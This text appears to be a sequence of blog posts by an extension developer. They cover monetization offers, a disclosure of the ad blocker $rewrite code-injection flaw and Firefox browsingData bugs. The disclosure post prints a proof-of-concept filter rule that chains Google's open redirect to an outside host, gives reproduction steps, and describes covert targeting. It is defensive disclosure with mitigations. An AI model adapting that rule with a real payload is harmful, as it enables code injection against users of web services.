Purchase offers for browser extensions usually range between $0.1 and $0.3 per user, depending on factors such as the geographical distribution of users, and monetization offers are also frequent.

Accepting such an offer may significantly improve one’s life, and it can be potentially life-changing. It feels like a just reward for all those years of free labor, and it’s uplifting for someone to value your work and propose to buy your project.

We are witnessing the failure of browser vendors to recognize the value of our labor and the important role it plays in a healthy browser ecosystem.

Mozilla has deprioritized the placement of the donation button during the redesign of Firefox Add-ons. The button was pushed below the fold, previously it was featured prominently near the install button. Requesting donations at the end of the install flow has also been deprecated.

The Chrome Web Store and the Microsoft Store do not offer features for supporting extension developers.

Browser vendors must recognize that developers who feel valued and are compensated by the communities they contribute to are less likely to give up on their projects and abandon their users.

Amazon offers a monthly income for the developers of popular Alexa Skills. Microsoft has recently introduced GitHub Sponsors, a feature for supporting the work of open source developers on GitHub.

These initiatives from Amazon and Microsoft are great examples for paving the way for a more sustainable open source ecosystem, and they translate well to browser extension stores.

Choosing between our users and a better life should not be a decision many open source developers are currently facing.

Mozilla, Google, and Microsoft are in a perfect position to begin addressing this issue by introducing features that enable users to seamlessly support their favourite extensions, and by exploring the possibility of sponsoring the development of popular browser extensions.

Offers

These are samples from the monetization and purchase offers we regularily get for our browser extensions.

Would you like to earn more with your extensions?

Hey Armin!

This is Daniel with ******

I just wondered you have more then 70k users and don’t earn on their shopping. We provide access to a huge number of online stores.

Just choose and run. No more restrictions and rules! You take care about traffic – we guarantee that advertisers won’t have any questions to your traffic.

Write me back, I’ll give you all details.

Daniel ****** Business Development ****** GmbH

Image Search Monetization

Hi Armin,

I’ve been using your extensions for a while now and you came to mind recently as we just launched a revenue share offering between Yahoo and Bing search.

Anytime a user searches you’ll get a payout. It’s a great opportunity to monetize and we’re looking for great developers to sign up.

If you have time to discuss on Skype I’d love to chat: ******

Andrew ****** ****** Inc

FF addon

Hi,

I’d like to buy your FF addon. Contact me please for discussion. Thanks

This post and my open source projects are made possible thanks to the support of awesome backers. If you’d like to join them, please consider contributing with Patreon, PayPal or Bitcoin.

Under certain conditions the $rewrite filter option enables the publishers of these extensions and the maintainers of filter lists to inject arbitrary code in web pages.

The affected extensions have more than 100 million active users, and Adblock Plus has several other forks controlled by third-party developers.

The feature is trivial to exploit in order to attack any sufficiently complex web service, including Google services, while attacks are difficult to detect and are deployable in all major browsers.

Considering the nature and implications of the uncovered vulnerabilities, and given that filter lists have been employed in the past for politically motivated attacks, details of the exploit chain are publicly disclosed to ensure the fastest possible propagation of upcoming mitigations in the affected browser extensions and web services.

The following CVE identifiers have been assigned for the vulnerable extensions: CVE-2019-11593, CVE-2019-11594 and CVE-2019-11595.

uBlock Origin is not vulnerable to the described attack.

Attack

The $rewrite filter option is used by some ad blockers to remove tracking data and block ads by redirecting requests. The option allows rewrites only within the same origin, and requests of SCRIPT, SUBDOCUMENT, OBJECT and OBJECT_SUBREQUEST types are not processed.

However, web services can be exploited with the help of this filter option when they use XMLHttpRequest or Fetch to download code snippets for execution, while allowing requests to arbitrary origins and hosting a server-side open redirect.

Extensions periodically update filters at intervals determined by filter list operators. Organizations and individuals may be targeted based on the IP addresses from which the updates are requested, delivering the malicious payload only to targets, while keeping the public filter list unchanged.

The existence of an attack may be difficult to prove, unless the device is monitored during the attack, because threat actors could set a short expiration time for the malicious filter list, which is then replaced with a benign one.

The following criteria must be met for a web service to be exploitable using this method:

1. The page must load a JS string using XMLHttpRequest or Fetch and execute the returned code
2. The page must not restrict origins from which it can fetch using Content Security Policy directives, or it must not validate the final request URL before executing the downloaded code
3. The origin of the fetched code must have a server-side open redirect or it must host arbitrary user content

Filter list operators may deliver a rule update such as this:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

The above rule redirects the target request to Google’s I’m Feeling Lucky search service, which then redirects to a page with the payload: alert(document.domain).

Steps for running arbitrary code on Google Maps:

1. Install either Adblock Plus, AdBlock or uBlock in a new browser profile
2. Visit the options of the extension and add the example filter list, this step is meant to simulate a malicious update to a default filter list
3. Navigate to Google Maps
4. An alert with “www.google.com” should pop up after a couple of seconds

Gmail and Google Images also meet the listed conditions to be exploitable.

Google has been notified about the exploit, but the report was closed as “Intended Behavior”, since they consider the potential security issue to be present solely in the mentioned browser extensions. This is an unfortunate conclusion, because the exploit is composed of a set of browser extension and web service vulnerabilities that have been chained together.

Please note that the vulnerability is not limited to Google services, other web services could be affected as well.

Mitigation

The exploit can be mitigated in the affected web services by whitelisting known origins using the connect-src CSP header, or by eliminating server-side open redirects.

Ad blocking extensions should consider dropping support for the $rewrite filter option. It’s always possible to abuse the feature to some degree, even if only images or style sheets are allowed to be redirected.

Users may also switch to uBlock Origin, which does not support the vulnerable filter option. The feature has been rejected by the maintainer of the extension, citing concerns over security and performance.

As of April 29, 2019 the discussed extensions have been patched, users should update to the latest versions. Vulnerable versions (inclusive): Adblock Plus between 3.2 and 3.5.1, AdBlock between 3.32.0 and 3.44.0, and uBlock between 0.9.5.11 and 0.9.5.14.

Updates

• April 17, 2019: it has been clarified who can exploit the vulnerability and how attacks may unfold. The safety of uBlock Origin has been further emphasized due to the confusion around the uBlock brand name.

• May 1, 2019: the assigned CVE identifiers and the vulnerable extension versions have been listed.

This post and my open source projects are made possible thanks to the support of awesome backers. If you’d like to join them, please consider contributing with Patreon, PayPal or Bitcoin.

The browsingData API in Firefox does not properly remove data, enabling sites to track users that rely on extensions to clear browsing data. Removing certain data types can also lead to side effects and data loss.

Data saved with the Cache API is not cleared

The browser stores downloaded assets internally when caching is enabled, and the Cache API is used by web pages and service workers for better control over caching.

Browser extensions may delete cached data with browsingData.removeCache().

browser.browsingData.removeCache({})

However, this function only removes assets from the browser’s internal cache, leaving data stored using the Cache API available for future retrieval. This enables tracking users across browser sessions in Firefox.

window.caches.keys().then(keys => {
  const [user] = keys.filter(key => key.startsWith('user:'));
  if (user) {
    console.log('returning visitor:', user.substring(5));
  } else {
    console.log('saving new visitor');
    window.caches.open('user:id');
  }
});

The bug is currently tracked at #1526246.

HTTP authentication cache is not cleared

One of the easiest ways to restrict access to web services is to use HTTP Authentication. The browser shows an authentication dialog and caches the submitted username and password to authorize future requests. This cache is discarded when the browser is closed.

Certain extensions make it possible to forget cookies and authentication data when users navigate away from a page or close a tab.

browser.browsingData.removeCookies({hostnames: ['example.com']})

There is no dedicated interface for clearing the HTTP authentication cache in any of the major browsers, though Chrome respects user intent by clearing this cache when cookies or passwords are deleted.

Firefox does not clear the HTTP authentication cache when the browsingData.removeCookies() or browsingData.removePasswords() function is called, allowing sites to track previously logged in users until the browser is closed.

Downloads from previous browser sessions are not removed

Extensions can delete the list of downloaded files by calling the browsingData.removeDownloads() API.

browser.browsingData.removeDownloads({})

Records of files downloaded during past browser sessions are not removed, leaving the data free to be viewed in the Library (Shift+Ctrl+Y).

The bug is currently tracked at #1380445.

Clearing certain data types leads to data loss

The goal of the browsingData API is to give granular control over the data types users wish to clear. While the design of the API is sound, its implementation in Firefox appears to be bolted over legacy services that were not designed to allow for granular data management.

This results in side effects and data loss, such as:

• Clearing cookies also clears local storage
• Deleting the history also removes downloads and service workers
• Service workers and indexedDB are cleared entirely, while the requested time interval is silently ignored

There is a recent effort to rearchitect the internals of the browsingData API in Firefox, you can give feedback and contribute at #1531276.

This post and my open source projects are made possible thanks to the support of awesome backers. If you’d like to join them, please consider contributing with Patreon, PayPal or Bitcoin.